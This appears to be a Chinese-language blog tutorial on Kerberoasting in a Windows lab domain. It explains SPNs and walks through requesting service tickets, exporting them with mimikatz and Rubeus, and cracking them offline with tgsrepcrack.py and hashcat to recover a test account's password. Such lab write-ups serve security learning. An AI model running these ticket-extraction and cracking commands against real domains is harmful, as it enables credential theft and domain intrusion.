Kerberoast攻击分析

前言

我将使用chatGPT在前言对一些基础性知识进行解释。

需要说明,图片托管在github上,国内IP访问github资源加载速度极慢或者加载失败,请尽量使用国外IP访问。

什么是Kerberoast攻击

Kerberoast是一种用于攻击 Windows 域环境中使用的 Kerberos 身份验证协议的攻击技术。Kerberos 是一种安全的身份验证协议,用于在 Windows 域环境中进行用户身份验证和授权。在 Kerberos 协议中,用户会向 Kerberos 服务器请求一个安全令牌(ticket),用于在 Windows 域环境中访问资源。

Kerberoast 攻击利用了 Kerberos 协议中的漏洞,通过获取 Kerberos 中的服务票据(Service Ticket),并对其进行离线攻击,从而获取到目标用户的明文密码。攻击者可以利用 Kerberoast 攻击来在不知道用户密码的情况下获取到用户的密码哈希值,然后使用密码破解工具对其进行破解,最终获取到用户的明文密码。由于攻击者可以在离线环境中进行攻击,因此 Kerberoast 攻击可以避免被 Kerberos 协议的防护机制所检测到。

什么是SPN

SPN(Service Principal Name)是指服务主体名称,是 Kerberos 身份验证协议中用于标识服务实例的唯一标识符。SPN 通常由服务名称和主机名组成,用于标识服务在网络上的唯一实例,帮助 Kerberos 协议正确地将服务票据(Service Ticket)授予给服务实例。

在 Windows 域环境中,SPN 是非常重要的,因为 Kerberos 身份验证协议是 Windows 域环境中最常用的身份验证协议。如果 SPN 配置不正确,可能会导致 Kerberos 身份验证协议无法正常工作,从而影响到整个域环境的安全和稳定性。

SPN的类型

  • 一种是注册在活动目录的机器帐户(Computers)下。当一个服务的权限为 Local System 或 Network Service 时,则 SPN 注册在机器帐户(Computers)下。
  • 另一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户时,则 SPN 注册在域用户帐户(Users)下。

域环境下执行命令:setspn -q */*查看当前域内所有SPN,SPN分类如下:

以CN开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN,默认有三个:

域控制器:CN=DC,OU=Domain Controllers,DC=laosec,DC=cn

域用户帐户:CN=krbtgt,CN=Users,DC=laosec,DC=cn

机器帐户:CN=WIN7,CN=Computers,DC=laosec,DC=cn

工具

mimikatz

从内存中提取明文密码、散列、PIN 码和 kerberos 票据现在已广为人知。**mimikatz**还可以执行 pass-the-hash、pass-the-ticket 或 build Golden tickets

Rubeus

Rubeus是一个 C# 工具集,是可以针对Kerberos协议进行攻击的工具,可以发起Kerberos请求,并将请求票据导入内存中,Rebeus提供了大量的用于Kerberos攻击的功能,比如TGT请求/ST请求/AS-REP Roasting攻击/Kerberoasting攻击/委派攻击/黄金票据/白银票据等。

Hashcat

hashcat工具的简介与使用可以参考:本文


工具的简介与使用互联网解释的比我好,上面工具罗列了他们的github地址,请参考

环境介绍

域控:Windows service 2016

​ 同时安装SQL Server 2008 R2

​ 同时创建用户mssql,密码sky@1321

实验

1
setspn -A MSSQLSvc/demo.test.com:1443 mssql

注册一条服务类为MSSQLSvc,主机为demo.test.com,端口为1433,注册在mssql域用户下

1
setspn -q */*

查看当前所有域

1
2
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/demo.test.com:1443"

请求SPNKerberos票据——单个服务

image-20230529125706148

1
klist

查看缓存中的所有票据

image-20230529125851635

使用Rubeus和mimikatz都可以导出票据

1
2
kerberos::list /export	//mimikatz执行
Rubeus.exe kerberoast /outfile:hash.txt

mimikatz:kerberos::list /export

1
python2.7 tgsrepcrack.py zidian.txt ex.kirbi

在kali安装kerberoast,使用kerberoast的tgsrepcrack.py离线破解票据ex.kirbi

rubeus:image-20230529130759981

因为hashcat的运行模式,在虚拟机破解报错,我们在真机运行以下命令,尝试破解

1
hashcat.exe -m 13100 hash.txt ziidian.txt

image-20230529131206163

成功,可以看到密码sky@1321

注意

注册主机名要和后面请求票据时保持一致。

demo是主机名,test.com是域控网址。

zidian.txt是包含密码的字典,可能不包含你设置账户的密码,可以自行添加

-m 13100是破解的模式,可以这篇文章选择


Kerberoast攻击分析
https://dbii.top/posts/20230529-b244341.html
作者
Fraxdeo
发布于
2023年5月29日
更新于
2023年5月29日
许可协议